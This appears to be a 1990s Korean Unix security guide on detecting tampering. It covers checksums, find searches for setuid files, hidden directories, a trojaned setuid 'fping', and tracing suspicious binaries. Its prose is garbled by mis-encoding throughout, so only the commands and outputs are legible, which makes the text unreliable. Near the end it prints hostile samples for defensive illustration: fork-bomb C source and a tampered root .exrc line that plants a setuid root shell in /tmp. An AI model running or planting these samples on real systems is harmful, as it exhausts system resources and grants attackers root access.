°¡Àå È®½ÇÇÑ ¹æ¹ýÀº Àü File System ÀÇ Àü File ¿¡ ´ëÇÑ check sum À» ¹Þ¾ÆµÎ´Â °ÍÀÌÁö¸¸, ºÒÇÊ¿äÇÑ »ç¿ëÀÚ µ¥ÀÌÅÍ µî±îÁö ÇØµÑ ÇÊ¿ä´Â ¾øÀ¸¹Ç·Î °¡Àå ÃÖ¼ÒÇÑÀ¸·Î setuid root ÇÁ·Î±×·¥µéÀ̳ª Áß¿äÇÑ File directory , file µé¿¡ ´ëÇÑ Ã¼Å©¼¶À» ¹Þ¾Æ µÎ¾î¾ß ÇÑ´Ù.±âº»ÀûÀ¸·Î´Â checksum À» ¹ÞÁö ¾Ê°í¼µµ C-time °ú M-time ÀÌ °°ÀºÁö ¿©ºÎ¸¦ ls ·Î ã¾Æ¼ È®ÀÎÇØ º¸´Â ¹æ¹ýµµ ÀÖ°ÚÁö¸¸, ls ÀÇ °á°ú·Î º¸ÀÌ´Â Á¤º¸ Á¤µµ´Â ÃæºÐÈ÷ º¯Á¶½Ãų ¼ö ÀÖ´Ù.´ÙÀ½Àº ±× ¿¹ÀÌ´Ù.
[miso-sakai 30 ] ls -asl /bin/passwd 48 -r-sr-xr-x 1 root bin 24576 10¿ù 26ÀÏ 1994 /bin/passwd* [miso-sakai 31 ] ls -aslc /bin/passwd 48 -r-sr-xr-x 1 root bin 24576 10¿ù 26ÀÏ 1996 /bin/passwd* |
À§ÀÇ °æ¿ì´Â Á¤»óÀûÀÎ °æ¿ì·Î c time °ú m time ÀÌ °°Àº ¿¹ÀÌ´Ù.
ÇÏÁö¸¸ /bin/passwd ¸¦ º¯Á¶Çߴٵ簡, ÀçÄÄÆÄÀÏÇØ¼ À缳ġÇߴٵ簡 Çϸé ctime °ú m time ÀÌ ´Þ¶óÁö°Ô µÇ¹Ç·Î ÀǽÉÇØ º¼ ¿©Áö°¡ ÀÖ´Ù. ÇÏÁö¸¸ ÀÌÁ¤µµÀÇ Á¤º¸ÂëÀº Á¶ÀÛÇÏ´Â ÀÏÀº Àϵµ ¾Æ´Ï¹Ç·Î ls Á¤º¸¸¸À» ½Å·ÚÇÒ ¼ö´Â ¾ø´Â ³ë¸©ÀÌ´Ù.
º¸Åë ÇØÄ¿µéÀÌ ¹éµµ¾î¸¦ ½É°í ³ª°¥ ¶§ º¯Á¶¸¦ ÇØ³õ°í ³ª°¡´Â ÇÁ·Î±×·¥ÀÌ setuid root ÇÁ·Î±×·¥ÀÌ´Ù. ÈçÇÑ ¿¹·Î, ÇØÅ·À» ÇÑ µÚ¿¡ /bin/login À» Á¶ÀÛÇØ ³õ°í °£´ÙµçÁö, /bin/passwd µîÀ» ¹Ù²Ù¾î ³õ°í °¥ ¼ö Àֱ⠶§¹®ÀÌ´Ù.
½ÇÁ¦·Î login ÀÇ ¼Ò½ºÄÚµå´Â ftp.uu.net °°Àº °÷¿¡¼ ½±°Ô ±¸ÇÒ ¼ö ÀÖ´Ù. ¹°·Ð BSD ¹Ù´Ò¶ó ¼Ò½ºÀÌÁö¸¸, À̸¦ ´Ù¸¥ OS ¿¡ ¸Â°Ô Æ÷ÆÃÇÏ´Â ÀÏÀº C ½Ç·Â¸¸ ÀÖ´Ù¸é ÃæºÐÈ÷ °¡´ÉÇÑ ÀÏÀÌ´Ù. ÀÌÁ¦ ¿©±â¿¡¼ ±¸ÇÑ login.c ¿¡ Æ®¸¯À» °¡Çؼ ƯÁ¤ string À» ÀÔ·ÂÇϸé Á÷Á¢ root ·Î ·Î±äÀÌ µÇ°í log file ¿¡´Â ±â·ÏÀÌ ¾ÈµÇµµ·Ï Á¶ÀÛÇÒ ¼ö ÀÖ´Ù.
ÇÊÀÚ°¡ ÇØÄ¿ÀÇ ÀÔÀåÀ̶ó¸é ÀÌ·¸°Ô ÇÒ °ÍÀÌ´Ù.
|
ÀÚ À§¿Í °°Àº °æ¿ì¸¦ ¸·´Â ÁÁÀº ¹æ¹ýÀº sum, ncheck, md5 µîÀ» ÀÌ¿ëÇÏ´Â °ÍÀÌ´Ù. sum °ú ncheck Àº OS ¿¡¼ ±âº»ÀûÀ¸·Î Á¦°øµÇ´Â ÇÁ·Î±×·¥µéÀÌ´Ù.
md5 , md5checkÀº ftp://cert-org/pub/tools/md5 ¿¡¼ ±¸ÇÒ ¼ö ÀÖ´Ù. ÇÁ·Î±×·¥µéÀ» anonymous ftp site ¿¡¼ ´Ù¿î·Îµå ¹Þ¾Æ ¿Â µÚ README ÆÄÀÏÀ» Àо¸é °¢ ¼ÒÇÁÆ®¿þ¾î¿¡ ´ëÇÑ md5 check signature °¡ µ¿ºÀµÇ¾î ÀÖ´Â °ÍÀ» º»ÀûÀÌ ÀÖÀ» °ÍÀÌ´Ù. md5 check ¿¡ ÀÇÇØ »ý¼ºµÈ ½Ã±×³ÊÃÄ´Â ÇöÁ¸ÇÏ´Â check sum ÇÁ·Î±×·¥ Áß¿¡ °¡Àå ½Å·ÚÇÒ ¸¸ÇÑ °ÍÀ¸·Î Á¤ÆòÀÌ ³ªÀÖ´Ù. ¹Ð¸® ¼¼ÄÁµå±îÁö ÆÄÀÏ »ý¼º½Ã°¢À» inode ¿¡¼ Àоîµé¿© signature ¸¦ ¸¸µé±â ¶§¹®¿¡ ls µûÀ§¿¡¼ º¸ÀÌ´Â ½ÃºÐ Á¤º¸·Î ÀÌ sum À» Á¶ÀÛÇÑ´Ù´Â °ÍÀº ºÒ°¡´É ÇÏ´Ù.
±×·¯¹Ç·Î °¡±ÞÀû ¼ÒÇÁÆ®¿þ¾î¸¦ ¼³Ä¡ ÇÒ ¶§¿¡´Â °ø½Å·Â ÀÖ´Â ftp site ¿¡¼ ´Ù¿î ¹Þ¾Æ¿À°í, ´Ù¿î·Îµå ¹Þ¾Æ ¿Â ÈÄ¿¡´Â md5 signature ¿Í ´ëÁ¶ÇØ º¸´Â °ÍÀÌ Áß¿äÇÏ´Ù.
´ÙÀ½Àº sum °ú ncheck ÀÇ »ç¿ë ¿¹ÀÌ´Ù.
# cd /usr/bin # sum * 30550 2 X11 25321 104 acl_edit 63086 200 adb 63216 40 adjust 4938 96 admin 12997 1 alias 19980 72 ar 12984 24 asa 31081 80 at 10025 48 audevent 30992 72 audisp 29708 64 audsys 15279 32 audusr 25537 40 autopush 51075 264 awk 47453 24 banner 42975 24 basename ... |
SunOS ¿¡¼ setuid °¡ °É·Á ÀÖ´Â ÆÄÀÏÀ» ãÀ» °æ¿ì
# ncheck -s /dev/sd0g
(ÀÌ ncheck ¸í·É¾î´Â OS Á¾·ù¿¡ µû¶ó ¿É¼Ç°ú Ã¼Å·ÇØÁÖ´Â °ÍÀÇ Á¾·ùµµ ´Ù¸£±â ¶§¹®¿¡ Ưº°È÷ ¼³¸íÇÏÁö´Â ¾Ê°Ú´Ù. °¢ÀÚÀÇ OS ÀÇ ¸Þ´º¾óÀ» ÂüÁ¶Çϱ⠹ٶõ´Ù.)
À§ÀÇ °á°ú¸¦ ls ÀÇ °á°ú¹°À» ÀúÀåÇÑ °Í°ú ¸¶Âù°¡Áö·Î ÀúÀåÇØ ³õÀº µÚ ¹é¾÷À» ¹Þ¾ÆµÎ¾ú´Ù°¡ ÁÖ±âÀûÀ¸·Î ´ëÁ¶Çؼ Á¡°ËÀ» ÇÏ´Â °ÍÀÌ ÇÊ¿äÇÏ´Ù.
ÀÌÁ¦´Â À§¿Í °°ÀÌ sum À̳ª ncheck ¸¦ »ç¿ëÇÏ´Â ¹ýÀ» ¾Ë¾ÒÀ¸´Ï ´Ù¸¥ À¯¿ëÇÑstuff ¸¦ ÀÌ¿ëÇÏ´Â ¹ýÀ» ¾Ë¾Æº¸ÀÚ. ½Ã½ºÅÛ ³» ÆÄÀÏ º¯Á¶¸¦ °¡Àå Àß °¨ÁöÇØ ÁÖ´Â ÇÁ·Î±×·¥À¸·Î Tripwire °¡ ÀÖ´Ù.
ÀÌ Tripwire ¿¡ ´ëÇØ¼´Â login.misotech.com ÀÇ º¸¹°Ã¢°í ¿¡¼ ÀÌ¹Ì ÀÚ¼¼È÷ ´Ù·é ¹Ù ÀÖÀ¸´Ï ´õ ÀÌ»óÀÇ ¼³¸íÀº ÇÏÁö ¾Êµµ·Ï ÇϰڴÙ. º¸¹°Ã¢°í¸¦ Âü°íÇϱ⠹ٶõ´Ù.
À̹ø¿¡´Â find ¸¦ »ç¿ëÇÏ¿© °Ë»öÇÏ´Â ¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ. find ´Â ¿É¼ÇÀÌ ¾µ¸¸ÇÏ°í °·ÂÇÑ °ÍÀÌ ¸¹ÀÌ Àֱ⠶§¹®¿¡ ¾ÆÁÖ À¯¿ëÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. À¯¿ëÇÑ ¿É¼ÇÀ¸·Î perm, type , nouser , ctime µîÀÌ ÀÖ´Ù.
-atime n : n ÀÏ Àü¿¡ ¾×¼¼½ºµÈ ÆÄÀÏ -mtime n : n ÀÏ Àü¿¡ º¯Á¶µÈ ÆÄÀÏ -newer file : ÃÖ±Ù¿¡ º¯Á¶µÈ ÆÄÀÏ -size n : n 512 byte ºí¶ô »çÀÌÁ °®´Â ÆÄÀÏ -type type : ÁöÁ¤µÈ type À» °®´Â ÆÄÀÏ (f = plain ÆÄÀÏ, d = µð·ºÅ丮) -fstype type : file system type ã±â -name name : name À̶õ À̸§ÀÇ ÆÄÀÏ -perm n : n permission À» °®´Â ÆÄÀÏ -user usr : usr °¡ ¼ÒÀ¯ÁÖÀÎ ÆÄÀÏ -group grp : grp °¡ ±×·ì¼ÒÀ¯ÁÖÀÎ ÆÄÀÏ -nouser : »èÁ¦µÇ¾î ÇöÁ¸ÇÏÁö ¾Ê´Â »ç¿ëÀÚ°¡ ¼ÒÀ¯ÇÑ ÆÄÀÏ -nogroup : »èÁ¦µÇ¾î ÇöÁ¸ÇÏÁö ¾Ê´Â ±×·ìÀÌ ¼ÒÀ¯ÇÑ ÆÄÀÏ |
¸î °¡Áö ¿¹¸¦ »ìÆìº¸ÀÚ.
# find / \(-perm -4000 -o -perm -2000\) -print
# find / -perm -2 -ls
# find / -ctime -1 -exec ls -alcd {} \ |
ÀÚ À§¿¡¼´Â ÆÄÀϵéÀ» ã´Â ¹æ¹ý, Á¡°ËÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ ´Ù·ç¾î º¸¾Ò´Ù. ±×·¸´Ù¸é ÀÌ»óÇÑ file À» ¹ß°ßÇßÀ» ¶§ ¾î¶»°Ô ÇÒ °ÍÀΰ¡¿¡ ´ëÇØ »ìÆìº¸µµ·Ï ÇÏÀÚ.
°ü¸®ÀÚ ±è¾¾´Â ·Î±×ÆÄÀÏÀ» ºÐ¼®Çϱâ À§ÇØ ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ½ÇÇàÇÏ¿© ´ÙÀ½ÀÇ °á°ú¸¦ ¾ò¾ú´Ù.
# acctcms -a -o -n /var/adm/pacct NON-PRIME TIME COMMAND SUMMARY COMMAND NUMBER TOTAL TOTAL NAME CMDS KCOREMIN CPU-MIN ls 26 0.00 0.02 grep 21 0.80 0.01 more 15 0.10 0.03 ... fuckfuck 1 0.26 1.10 sucksuck 1 0.32 1.00 hackhack 2 0.23 0.04 |
fuckfuck À̶õ ¸í·É , sucksuck, hackhack À̶õ ¸í·ÉµéÀ» ¹ß°ßÇÑ ±è¾¾´Â Áï½Ã Á¶»ç¿¡ Âø¼öÇß´Ù. ±×¸®°í Àú ¸í·ÉµéÀ» ã¾Æº¸±â·Î ÇÏ°í ´ÙÀ½ ¸í·ÉÀ» ½ÇÇàÇß´Ù.
# find / -name fuckfuck -print /users/staff/sakai/./fuckfuck # find / -name sucksuck -print /users/staff/sakai/.../sucksuck # find / -name hackhack -print /users/staff/sakai/.../ /hackhack |
ÀÌ»óÇÑ Á¡ÀÌ ´À²¸ÁöÁö ¾Ê´Â°¡? . À̶õ µð·ºÅ丮¿Í " " ¶õ µð·ºÅ丮°¡ Ưº°ÇÏ°Ô ´Ù½Ã Ç¥½ÃµÇ°í ÀÖ´Ù.
½ÇÁ¦·Î ÀÌ µð·ºÅ丮¸¦ ã¾Æº¸¾Ò´õ´Ï ´ÙÀ½°ú °°¾Ò´Ù.
[miso-sakai 22 ] ls -asl | more ÃÑ 1858 ºí·°ÀÔ´Ï´Ù. 6 drwxr-xr-x 18 sakai staff 3072 5¿ù 29ÀÏ 18:43 ./ 2 drwxr-xr-x 35 root staff 1024 5¿ù 28ÀÏ 18:43 ../ 2 drwxr-xr-x 2 sakai staff 1024 5¿ù 29ÀÏ 13:58 ./ 2 drwx------ 3 sakai staff 1024 5¿ù 29ÀÏ 13:56 .../ |
¿¹ÀüÀÇ ¹è¿öº¾½Ã´Ù¿¡ ³ª¿Ô´ø Æ®¸¯À» »ç¿ëÇÏ¿© ´ÙÀ½°ú °°ÀÌ Ã£¾Æº¸¾Ò´Ù.
[miso-sakai 25 ] ls -asl | cat -v |more ÃÑ 1858 ºí·°ÀÔ´Ï´Ù. 6 drwxr-xr-x 18 sakai staff 3072 5¿ù 29ÀÏ 18:43 ./ 2 drwxr-xr-x 35 root staff 1024 5¿ù 28ÀÏ 18:43 ../ 2 drwxr-xr-x 2 sakai staff 1024 5¿ù 29ÀÏ 13:58 ..^H/ 2 drwx------ 3 sakai staff 1024 5¿ù 29ÀÏ 13:56 .../ |
°á±¹ ..^H ¶ó´Â µð·ºÅ丮¸¦ ¸¸µé¾î ³õ°í ÀÛ¾÷À» ÇÑ °ÍÀÌ´Ù.
¶Ç ºí·©Å©·Î ³ª¿Ô´ø µð·ºÅ丮´Â
% mkdir " "
¿Í °°Àº Æ®¸¯À» »ç¿ëÇÏ¿© ¸¸µç µð·ºÅ丮¶õ °ÍÀ» ¹ß°ßÇß´Ù.
Àǽɰ¡´Â Á¡ÀÌ ¸¹¾Æ¼ °ð Á¶»ç¿¡ Âø¼ö Çß´Ù.
ÀÚ ÀÌÁ¦ ÀÌ µð·ºÅ丮¿¡¼ ¹ß°ßµÈ fuckfuck, sucksuck, hackhack À̶õ ÆÄÀϵ鿡 ´ëÇØ Á¶»çÇÏ´Â Á¢±Ù ¹æ¹ý¿¡ ´ëÇØ ´Ù·ç¾î º¸°Ú´Ù.
file À̶õ ¸í·É¾î¸¦ »ç¿ëÇÏ¿© ¹ß°ßÇØ ³½ ÀÌ»óÇÑ ÆÄÀÏÀÌ ¾î¶°ÇÑ Å¸ÀÙÀÇ ÆÄÀÏÀÎÁö È®ÀÎÇϵµ·Ï ÇÑ´Ù.
¿¹:
# file * appoint: iAPX 386 executable not stripped bin: directory clean: symbolic link to bin/clean fort.1: empty gold.dat: ascii text intro.ms: [nt]roff, tbl or eqn input text run_me.sh: commands text xray.c: ascii text |
# find / -perm -4000 -print /etc/fping ... |
À§ÀÇ ¸í·ÉÀ» ½ÇÇàÇÑ °á°ú fping À̶õ ¸í·É¾î°¡ ¹ß°ßµÇ¾ú´Ù°í ÇÏÀÚ. ¾óÇÍ º¸¸é fping À̶õ ¸í·É¾î°¡ OS ¿¡¼ Á¦°øÇÏ´Â ¸í·É¾î¶ó°í »ý°¢ÇÒ ¼öµµ ÀÖ°í ¹«½ÃÇÏ°í ³Ñ¾î°¥ ¼öµµ ÀÖ°ÚÁö¸¸ , È®½ÇÇÏ°Ô Çϱâ À§ÇØ what À̶õ ¸í·É¾î¸¦ ½áº¸ÀÚ.
what Àº SCCS Á¤º¸¸¦ ÀоîµéÀ̱⠶§¹®¿¡ OS ¿¡¼ Á¦°øµÇ´Â ÇÁ·Î±×·¥À̶ó¸é ÇØ´ç ÇÁ·Î±×·¥ÀÇ SCCS Á¤º¸°¡ Ãâ·ÂÀÌ µÇµµ·Ï µÇ¾î ÀÖ´Ù.
# what /etc/fping fping: |
À§ÀÇ ¿¹¿¡¼´Â ¾Æ¹«°Íµµ Ãâ·ÂµÇÁö ¾Ê´Â´Ù. ±×·¸´Ù¸é ¾û¼ºÇϱä ÇÏÁö¸¸ ÃÖ¼ÒÇÑ OS ¿¡¼ ±âº» Á¦°øÇÏ´Â ¸í·ÉÀº ¾Æ´Ï¶ó´Â °ÍÀ» ÃßÃøÀº ÇÒ ¼ö ÀÖ´Â °ÍÀÌ´Ù.Âü°í·Î Á¤»óÀûÀÎ ÇÁ·Î±×·¥¿¡ what ¸í·É¾î¸¦ Àû¿ë½ÃŲ ¿¹ÀÌ´Ù.
# what /usr/bin/telnet /usr/bin/telnet: Copyright (c) 1988 Regents of the University of California. Revision 1.1.194.1 Wed Sep 1 18:21:18 GMT 1993 main.c 1.10 (Berkeley) 11/18/88 commands.c 1.15 (Berkeley) 2/6/89 network.c 1.13 (Berkeley) 6/29/88 ring.c 1.10 (Berkeley) 6/29/88 sys_bsd.c 1.16 (Berkeley) 11/29/88 telnet.c PHNE_2058 (Berkeley) 1/2/93 terminal.c 1.13 (Berkeley) 6/29/88 tn3270.c 1.16 (Berkeley) 11/30/88 utilities.c 1.11 (Berkeley) 2/6/89 |
Ãß°¡·Î ´õ what ¿¡ ´ëÇØ À̾߱â ÇØº¸¸é, binary ½ÇÇà ÇÁ·Î±×·¥¿¡ ´ëÇØ patch µÈ Á¤º¸¸¦ ¾Ë°í ½Í´Ù¸é showrev -p ¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ°ÚÁö¸¸, what À» »ç¿ëÇÒ ¼öµµ ÀÖ´Ù.
SunOS ¿Í Solaris ÀÇ ¿¹¸¦ µé¾îº¸ÀÚ.
SunOS 4.1¿¡¼´Â /usr/ucb/whatÀε¥, ÀÌ ¸í·É¾î´Â ÆÄÀÏ¿¡¼ SCCS versionÀ» ÀÐ¾î¼ Ãâ·ÂÇØ ÁֹǷΠ¾Ë ¼ö°¡ ÀÖ´Ù. ¸¸ÀÏ Sun¿¡¼ ³ª¿Â Á¤½Ä patch¶ó¸é ¾Æ·¡¿Í °°ÀÌ µÇ¾î ÀÖÀ» °ÍÀÌ´Ù.
sun41host% /usr/ucb/what /usr/kvm/ps Copyright (c) 1980 Regents of the University of California. ps.c 1.46 93/01/19 CTEOS 4071 patch log.S 1.16 89/03/27 SMI exp.S 1.11 89/02/23 SMI SVID_libm_err.c 1.9 89/02/27 SMI matherr.c 1.2 88/02/08 SMI |
¸¶Âù°¡Áö·Î SunOS 5.x¿¡¼µµ /usr/ccs/bin/what¸¦ »ç¿ëÇÏ¿© ¾Ë¾Æº¼ ¼ö ÀÖ´Ù.
sol2host$ /usr/ccs/bin/what /kernel/unix
/kernel/unix:
SunOS 5.4 Generic 101945-34 September 1995
ƯÈ÷ Solaris 2.x¿¡¼´Â patch¸¦ À§ÇÑ ¹è·Á°¡ »ó´çÈ÷ ¸¹Àºµ¥
sol2host$ pkginfo SUNWsra.2 system SUNWsra.2 Source Compatibility Archive Libraries sol2host$ pkginfo -l SUNWsra.2 PKGINST: SUNWsra.2 NAME: Source Compatibility Archive Libraries CATEGORY: system ARCH: sparc VERSION: 11.5.1,REV=94.07.15.22.10,PATCH=6 BASEDIR: / VENDOR: Sun Microsystems, Inc. DESC: Source Compatibility Archive Libraries PSTAMP: on494-patch950309130229 INSTDATE: Oct 05 1995 12:57 HOTLINE: Please contact your local service provider STATUS: completely installed FILES: 3 installed pathnames 3 shared pathnames 2 directories 189 blocks used (approx) |
À§ÀÇ SUNWsra(Source Compatibility Archive Libraries)´Â Patch level 6ÀÓÀ» ¾Ë ¼ö ÀÖ´Ù.
¹ß°ßÇÑ ÆÄÀÏÀÌ Á¤»óÀûÀ¸·Î ¼³Ä¡°¡ µÇ¾ú´Ù¸é Åë»óÀûÀ¸·Î ¸Þ´º¾óµµ ÇÔ²² ÀνºÅç µÇ¾úÀ» °ÍÀÌ´Ù. ÇØ´ç ÇÁ·Î±×·¥À» man command ¸¦ »ç¿ëÇÏ¿© ã¾Æº¸¾Æ ÀÖ´ÂÁö¸¦ È®ÀÎÇØ º»´Ù.
±×¸®°í °¡Àå ¸í½ÉÇØ¾ß ÇÒ Á¡ÀÌ´Ù. ¹«½¼ ÆÄÀÏÀÎÁö ¸ð¸£°ÚÀ¸¸é ¾ÈÀüÇÏ°Ô »èÁ¦ÇÏ´Â °ÍÀÌ ÃÖ¼±ÀÌ´Ù. ¾î¶°ÇÑ ÀÏÀ» ¼öÇàÇÏ´Â ½ÇÇàÆÄÀÏÀÎÁöµµ ¸ð¸£°í ¼öÇàÀ» ½ÃŲ ´Ù´Â °ÍÀº ÀÚ»ì ÇàÀ§³ª ¸¶Âù°¡ÁöÀ̱⠶§¹®ÀÌ´Ù.
°á±¹ À§ÀÇ ¹æ¹ýµéÀ» ¼øÁ¶·Ó°Ô ¼öÇàÇÏ¿© sucksuck, fuckfuck , hackhack Àº sakai ¶õ »ç¶÷ÀÌ ÇØÅ·ÇÁ·Î±×·¥À» ÄÄÆÄÀÏ ½ÃÄѵР°ÍÀ̶ó°í ÃßÃøÇÒ ¼ö ÀÖ°Ô µÇ¾ú´Ù.
´ÙÀ½ ¿¹¸¦ º¸ÀÚ.
ÀÌ»óÇÑ ÆÄÀÏÀ» ã´ø µµÁß °°Àº µð·ºÅ丮¿¡ a.out À̶õ ÇÁ·Î±×·¥ÀÌ ÀÖ´Â °ÍÀ» ¹ß°ßÇÏ°í ¾Æ¹« »ý°¢¾øÀÌ ½ÇÇàÀ» ½ÃÄ×´Ù. ¹«½¼ ÀÏÀ» ÇÏ´Â ÇÁ·Î±×·¥ÀÎÁö ¾Ë±â À§ÇؼÀÌ´Ù.
±× ¼ø°£ xload ÀÇ ±×·¡ÇÁµéÀÌ Ä¡¼ÚÀ¸¸ç ½Ã½ºÅÛ¿¡ ºÎÇϰ¡ ±ÞÁõÇÏ´õ´Ï °á±¹Àº ¸®ºÎÆ®¸¦ ÇÏÁö ¾ÊÀ¸¸é ¾ÈµÇ´Â »óȲÀÌ µÇ¾î ¹ö·È´Ù. ¸®ºÎÆÃÀ» ÇÏ°í ³ ÈÄ¿¡ °°Àº µð·ºÅ丮¿¡ ÀÖ´ø ÇÁ·Î±×·¥µéÀ» ´Ù½Ã Á¶»çÇÏ´ø Áß ¹ß°ßÇÑ »ç½ÇÀÌÁö¸¸ ±× a.out ½ÇÇàÆÄÀÏÀº ´ÙÀ½ÀÇ ¼Ò½º°¡ ÄÄÆÄÀÏ µÈ °ÍÀ̾ú´Ù.
void main()
{
while(1)
{
fork();
}
}
Âü °£·«ÇÑ ÇÁ·Î±×·¥ÀÌÁö¸¸ »ó´çÈ÷ ¹«¼¿î °á°ú¸¦ ÃÊ·¡ ÇÒ ¼ö ÀÖ´Â ÇÁ·Î±×·¥ÀÌ´Ù.
°è¼Ó ÇÁ·Î¼¼½º¸¦ fork ÇÏ¿© ½Ã½ºÅÛÀÇ ¸®¼Ò½º¸¦ °í°¥½ÃŰ°Ô µÈ´Ù.
À§¿Í °°Àº process bomb ¿¡ ´ëºñÇÏ´Â ¹æ¹ýÀº Ä¿³ÎÀ» ÀçÄÄÆÄÀÏÇØ¼ »ç¿ëÀÚ´ç MAX ·Î ÇÒ´çÇÒ ¼ö ÀÖ´Â process ¼ö¸¦ Á¦ÇÑÇÏ´Â ¹æ¹ý ¹Û¿£ ¾ø´Âµ¥, SunOS ³ª Solaris ¿¡¼´Â /etc/system ÆÄÀÏ¿¡ set maxuproc=100 ¸¦ Ãß°¡ÇØÁÜÀ¸·Î½á °£´ÜÈ÷ ÇØ°áÇÒ ¼ö ÀÖ´Ù.
ÀÌ·± °æ¿ì¿¡´Â
ÀǽɵǴ ÇÁ·Î±×·¥À» system call À» ÀÌ¿ëÇÏ¿© ÃßÀûÇÒ ¼öµµ ÀÖ´Ù. ÇÁ·Î±×·¥¿¡ ´ëÇÑ Áö½ÄÀÌ ¾à°£¸¸ÀÌ¶óµµ ÀÖ´Ù¸é ÃæºÐÈ÷ ¾î¶°ÇÑ ÇÁ·Î±×·¥ÀÎÁö ÃßÃøÇÒ ¼ö ÀÖ°Ô µÈ´Ù.
¶óÀ̺귯¸® È£Ãâ, ÇÔ¼ö È£ÃâµéÀ» ÃßÀûÇÏ·Á¸é ´ÙÀ½°ú °°Àº ¸í·É¾î¸¦ »ç¿ëÇÏ¸é µÈ´Ù.
|
´ÙÀ½Àº ¾Æ±îÀÇ ¿¹¿¡¼ ¹ß°ßÇß´ø fping À̶õ ÇÁ·Î±×·¥À» ÃßÀûÇÏ´Â ¿¹ÀÌ´Ù.
# trace /etc/fping
getpagesize () = 4096
brk (0x6140) = 0
brk (0x7140) = 0
open ("/dev/tty", 0, 0666) = 3
sigblock (0x2) = 0
sigvec (2, 0xeffff9dc, 0xeffff9d0) = 0
sigvec (2, 0xeffff93c, 0) = 0
sigsetmask (0) = 0x2
ioctl (3, 0x40245408, 0xeffff9ac) = 0
ioctl (3, 0x8024540b, 0xeffff9ac) = 0
write (2, "", 0) = 0
read (3, |
function call ÀÌ read ¿¡¼ ¸ØÃß¾ú´Ù. ÀÌÁ¦ »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ±â´Ù¸®´Â ÇÁ·Î±×·¥À̶ó´Â °ÍÀ» ¾Ë°Ô µÇ¾ú´Ù. ÀÌÂë¿¡¼ Á¶»ç´Â ¸ØÃß¾úÁö¸¸ ³ªÁß¿¡ ÆÄÀϽýºÅÛÀ» ÀüºÎ µÚÁö´Ù º¸´Ï fping ÀÇ ¼Ò½ºÄڵ带 ã°Ô µÇ¾ú´Âµ¥ ºÐ¼®ÇØ º¸´Ï ƯÁ¤ ½ºÆ®¸µÀ» ÀÔ·ÂÇÒ °æ¿ì root ·Î su ¸¦ ½ÃÄÑÁÖ´Â ÇÁ·Î±×·¥À̰í read ¿¡¼ ¸ØÃá °ÍÀº ÇØÄ¿°¡ ÁöÁ¤ÇسõÀº ƯÁ¤ ½ºÆ®¸µÀ» ÀÔ·Â ¹Þ±â À§ÇÑ °ÍÀ̾úÀ½À» ¾Ë°Ô µÇ¾ú´Ù.
¿©±â¿¡¼´Â Àâ´ÙÇÑ »çÇ×µé·Î ¾Ë¾ÆµÎ¾î¾ß ÇÏ´Â °ÍµéÀ» Àû¾î º¸¾Ò´Ù.
ƯÈ÷ root ¼ÒÀ¯ÀÇ ÆÄÀϵéÀº ÁÖÀǸ¦ ±âÇØ¾ß ÇÑ´Ù.
°¡·É ~root/.exrc °¡ world writable ÇØ¼ ´ÙÀ½°ú °°ÀÌ ¾î¶°ÇÑ »ç¿ëÀÚ°¡ Á¶ÀÛÀ» ÇØ³õ¾Ò´Ù°í ÇØº¸ÀÚ. .exrc ´Â vi °è¿ÀÇ ¿¡µðÅͰ¡ ½ÇÇàµÉ ¶§ ÀоîµéÀÌ´Â configuration file ÀÌ´Ù.
$ cat .exrc
!(cp /bin/sh /tmp/newsh;chmod 4755 /tmp/newsh)&
À§ÀÇ °ÍÀÌ ½ÇÇàµÇ°í ³ª¸é /tmp µð·ºÅ丮¿¡´Â newsh À̶ó´Â ·çÆ®½©ÀÌ ³²¾Æ ÀÖ°Ô µÈ´Ù.
current ¸¦ ³Ö¾î¾ß ÇÏ´Â °æ¿ì¶ó¸é ´Ù¸¥ path µéÀ» ¾Õ¿¡ µÎ°í . Àº ¸Ç ¸¶Áö¸·¿¡ µÎ±â ¹Ù¶õ´Ù.ÇöÀçÀÇ µð·ºÅ丮¿¡ OS ¿¡¼ Á¦°øµÇ´Â command ¿Í °°Àº À̸§À¸·Î Trojan horse ¸¦ ½É¾îµÑ ¼ö ÀÖ´Ù. ¼öÁØÀÌ ³·Àº ÀúÁúÇØÅ·¹æ¹ýÀ̱ä ÇÏÁö¸¸, ¾ÆÁ÷µµ Àú±Þ ÇØÄ¿µé¿¡ ÀÇÇØ »ç¿ëµÇ´Â ¹æ¹ýÀÌ´Ï ÁÖÀÇÇϱ⠹ٶõ´Ù.
¹ö±×¹Ú½º³ª, ´Ù¸¥ ¸Þ´º¿¡ ÀÖ´Â ³»¿ëµéÀ» º¸¾Æ¼µµ ¾Ë°í ÀÖ°ÚÁö¸¸ ½Ã½ºÅÛ¿¡ ¹ö±×³ª ¹®Á¦Á¡µéÀº ºÒÇÊ¿äÇÑ ¼ºñ½º¸¦ Çϰí ÀÖÀ½À¸·Î½á, ½Ã½ºÅÛÀÇ ºÎÇÏ·®µµ ´Ã°í, ½Ã½ºÅÛ¿¡ ¹®Á¦Á¡À» ÀÏÀ¸Å³ ¼ÒÁöµµ ÀÖ°Ô ÇÏ´Â °ÍÀÌ´Ù.
°¡Àå ÀÌ»óÀûÀÎ ½Ã½ºÅÛ °ü¸®´Â ÀÚ½ÅÀÇ È£½ºÆ®¿¡¼ Çʿ信 ÀÇÇØ ¿î¿µÇÏ´Â °Í ¿Ü¿¡´Â ¼ºñ½º¸¦ ÀÏü ÇÏÁö ¾Ê°í, ÀÚ½ÅÀÇ ½Ã½ºÅÛ ³»¿¡ ¼³Ä¡ÇÑ ÇÁ·Î±×·¥¿¡ ´ëÇØ¼´Â È®½ÇÈ÷ ÆÐÄ¡ ¹× ²ÙÁØÇÑ ¾÷±×·¹À̵带 ÇØ ³ª°¡´Â °ÍÀÌ´Ù.
